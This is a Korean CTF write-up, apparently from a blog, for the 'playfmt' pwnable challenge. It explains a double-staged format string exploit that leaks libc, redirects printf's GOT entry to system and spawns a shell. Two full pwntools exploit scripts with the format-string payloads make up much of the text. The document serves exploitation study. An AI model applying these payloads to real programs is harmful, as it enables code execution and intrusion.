# Process
bss 영역에 존재하는 크기가 0xc8인 전역변수에 read로 입력받는다.
그리고 printf(buf); 를 하는데 이때 FSB 취약점이 발생한다.
버퍼가 전역변수일 때 FSB 취약점이 발생하는 경우 Double Staged FSB 기법을 사용한다.
1. libc leak
스택 확인해보면 __libc_start_main+247 주소를 확인해볼 수 있다.
offset을 계산해서 leak하고 libc base를 구한다.
2. 스택 영역 가리키는 주소의 값이 또 스택 영역 가리키는 부분 2개 찾기
- got와 got+2로 각각 나눠서 덮어줘야 하므로 2개 찾는다.
- 메모리의 높은 주소 방향으로 스택 값들을 꺼내온다.
따라서 스택 포인터는 이 포인터 주소보다 더 높은 주소 값을 가리켜야 한다.
- 포인터와 포인터가 가리키는 주소의 상대거리가 같아야 한다. (offset 계산해야 하므로)
스택 확인해보면 0xff904bf8 값 가지는 주소와 0xff904c24 주소를 스택 포인터로 사용한다.
이 두 주소의 스택 값들을 0x804로 시작하는 스택 주소 2개의 하위 2바이트로 각각 덮을 것이다.
3. 0x804로 시작하는 영역의 주소 2개 찾기
0x8048645 주소 값 가지는 주소인 0xff992140과 0x080485b1 값 가지는 주소 값 선택한다.
4. 2에서 구한 주소의 값을 3에서 구한 주소 값의 하위 2바이트로 각각 덮는다.
덮고 나면 위와 같은 구조가 된다.
5. offset을 계산해서 0x804로 시작하는 주소들을 printf got와 printf got +2로 각각 덮는다.
(위는 덮은 후의 사진이었음)
각 주소 값들이 printf got인 0x804a010과 printf got +2인 0x804a012로 각각 덮인 것을 확인할 수 있다.
0x804a012의 하위 2바이트는 0xf7d7, 즉 함수 주소의 상위 2바이트이므로 system의 상위 2바이트로 덮고,
0x804a010의 하위 2바이트는 0x5670, 즉 함수 주소의 하위 2바이트이므로 system의 하위 2바이트로 덮는다.
주의해야 할 점이 상위 2바이트를 덮을 때 그냥 '%??$hn'으로 덮으려고 하면
이렇게 0xf7이 잘린다. 따라서 '%??$hhn'으로 줘서 문제를 해결할 수 있다.
6. 쉘 실행
이 과정을 거치고 나면 쉘을 딸 수 있다.
# exploit code
#!/usr/bin/python
from pwn import *
context.log_level = 'debug'
p = process("./playfmt")
elf = ELF("./playfmt")
libc = elf.libc
printf_got = elf.got['printf']
# libc leak
p.recvuntil("Server\n")
p.sendafter("=\n", '%15$x %6$x A')
leak = int(p.recv(8), 16) # libc_start_main+247
libcbase = leak - libc.symbols['__libc_start_main'] - 247
log.info("leak : "+hex(leak))
log.info("libcbase : "+hex(libcbase))
p.recvuntil(" ")
leak2 = int(p.recv(8), 16)
log.info("leak2 : "+hex(leak2))
stack = leak2 - 0x24
log.info("stack : "+hex(stack))
#gdb.attach(p)
pay = '%{}x'.format((stack+0x28) & 0xFFFF)
pay += '%6$hn'
pay += 'A'
p.sendafter("A", pay)
pay = '%{}x'.format((stack+0xc) & 0xFFFF)
pay += '%21$hn'
pay += 'A'
p.sendafter("A", pay)
pay = '%{}x'.format(printf_got & 0xFFFF)
pay += '%57$hn'
pay += 'A'
p.sendafter("A", pay)
pay = '%{}x'.format((printf_got+2) & 0xFFFF)
pay += '%10$hn'
pay += 'A'
p.sendafter("A", pay)
system = libcbase + libc.symbols['system']
system_low = system & 0xFFFF
system_high = (system >> 16) & 0xFF
pay = '%{}x'.format(system_high)
pay += '%11$hhn'
pay += '%{}x'.format(system_low - system_high)
pay += '%4$hn'
pay += 'A'
p.sendafter("A", pay)
p.interactive()
# 추가
그냥 system만 덮고 system 함수의 인자로 id랑 ls를 줘서 결과를 확인했었는데,
이 방법이 쉘을 딴거는 아니고 정확하게는 system 함수 인자인 buf로 /bin/sh를 줘서 쉘을 따는 것이다.
#!/usr/bin/python
from pwn import *
context.log_level = 'debug'
p = process("./playfmt")
elf = ELF("./playfmt")
libc = elf.libc
printf_got = elf.got['printf']
# libc leak
p.recvuntil("Server\n")
p.sendafter("=\n", '%15$x %6$x A')
leak = int(p.recv(8), 16) # libc_start_main+247
libcbase = leak - libc.symbols['__libc_start_main'] - 247
log.info("leak : "+hex(leak))
log.info("libcbase : "+hex(libcbase))
p.recvuntil(" ")
leak2 = int(p.recv(8), 16)
log.info("leak2 : "+hex(leak2))
stack = leak2 - 0x24
log.info("stack : "+hex(stack))
#gdb.attach(p)
pay = '%{}x'.format((stack+0x28) & 0xFFFF)
pay += '%6$hn'
pay += 'A'
p.sendafter("A", pay)
pay = '%{}x'.format((stack+0xc) & 0xFFFF)
pay += '%21$hn'
pay += 'A'
p.sendafter("A", pay)
pay = '%{}x'.format(printf_got & 0xFFFF)
pay += '%57$hn'
pay += 'A'
p.sendafter("A", pay)
pay = '%{}x'.format((printf_got+2) & 0xFFFF)
pay += '%10$hn'
pay += 'A'
p.sendafter("A", pay)
system = libcbase + libc.symbols['system']
system_low = system & 0xFFFF
system_high = (system >> 16) & 0xFF
pay = '%{}x'.format(system_high)
pay += '%11$hhn'
pay += '%{}x'.format(system_low - system_high)
pay += '%4$hn'
pay += 'A'
p.sendafter("A", pay)
p.sendline('/bin/sh')
p.interactive()
RTL_x64 (5/25 포너블 실습 문제 만들기) (0) | 2020.05.28 |
---|---|
[HITCON-Training] lab6: migration (2019.09.09, Fake EBP + ROP) (0) | 2020.05.27 |
[ROP Emporium] pivot (0) | 2020.04.20 |
Limited Book (0) | 2020.03.26 |
[ROP Emporium] write4 (32bit, 64bit) (0) | 2020.03.25 |